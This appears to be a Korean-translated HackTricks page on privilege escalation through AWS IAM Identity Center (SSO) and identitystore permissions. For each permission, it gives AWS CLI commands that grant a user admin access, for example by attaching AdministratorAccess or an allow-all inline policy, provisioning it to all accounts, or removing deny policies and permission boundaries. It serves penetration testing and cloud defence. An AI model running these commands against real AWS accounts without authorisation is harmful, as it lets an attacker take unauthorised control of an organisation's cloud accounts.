AWS - SSO & identitystore Privesc

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 전문가로 배우세요!

HackTricks를 지원하는 다른 방법:

AWS Identity Center / AWS SSO

AWS Identity Center / AWS SSO에 대한 자세한 정보는 다음을 확인하세요:

기본적으로, 관리 계정의 권한을 가진 사용자만이 IAM Identity Center에 액세스하고 제어할 수 있습니다. 다른 계정의 사용자는 해당 계정이 위임된 관리자인 경우에만 허용할 수 있습니다. 자세한 정보는 문서를 확인하세요.

비밀번호 재설정

이러한 경우 권한 상승을 위한 쉬운 방법은 사용자 비밀번호를 재설정할 수 있는 권한이 있는 경우입니다. 불행히도 사용자의 이메일로 비밀번호 재설정 안내 이메일을 보낼 수만 있으므로 사용자의 이메일에 액세스해야 합니다.

identitystore:CreateGroupMembership

이 권한을 사용하면 사용자를 그룹에 설정하여 해당 그룹이 가진 모든 권한을 상속받을 수 있습니다.

aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

이 권한을 가진 공격자는 자신이 통제하는 사용자에게 부여된 권한 집합에 추가 권한을 부여할 수 있습니다.

# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

이 권한을 가진 공격자는 자신이 통제하는 사용자에게 부여된 권한 집합에 추가 권한을 부여할 수 있습니다.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

이 권한을 가진 공격자는 자신이 통제하는 사용자에게 부여된 권한 집합에 추가 권한을 부여할 수 있습니다.

이 경우 이러한 권한을 남용하려면 영향을 받을 모든 계정에 있는 고객 관리 정책의 이름을 알아야 합니다.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:GetRoleCredentials

지정된 역할 이름에 할당된 사용자의 STS 단기 자격 증명을 반환합니다.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

그러나 어떻게 액세스 토큰을 얻을지 확실하지 않습니다 (TODO).

sso:DetachManagedPolicyFromPermissionSet

이 권한을 가진 공격자는 지정된 권한 집합에서 AWS 관리 정책과의 연관을 제거할 수 있습니다. **관리 정책 분리 (거부 정책)**를 통해 더 많은 권한을 부여할 수 있습니다.

aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

이 권한을 가진 공격자는 지정된 권한 집합에서 고객 관리 정책과의 연관을 제거할 수 있습니다. **관리 정책을 분리(거부 정책)**하여 더 많은 권한을 부여할 수 있습니다.

aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

이 권한을 가진 공격자는 권한 집합에서 인라인 정책의 권한을 제거할 수 있습니다. 인라인 정책을 분리함으로써 (거부 정책을 통해) 더 많은 권한을 부여하는 것이 가능합니다.

aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

이 권한을 가진 공격자는 권한 집합에서 권한 경계를 제거할 수 있습니다. 권한 집합에 부여된 권한 경계로부터의 제한을 제거함으로써 더 많은 권한을 부여할 수 있습니다.

aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
htARTE (HackTricks AWS Red Team Expert)으로부터 AWS 해킹을 제로부터 전문가까지 배우세요!

다른 방법으로 HackTricks를 지원하는 방법:

最終更新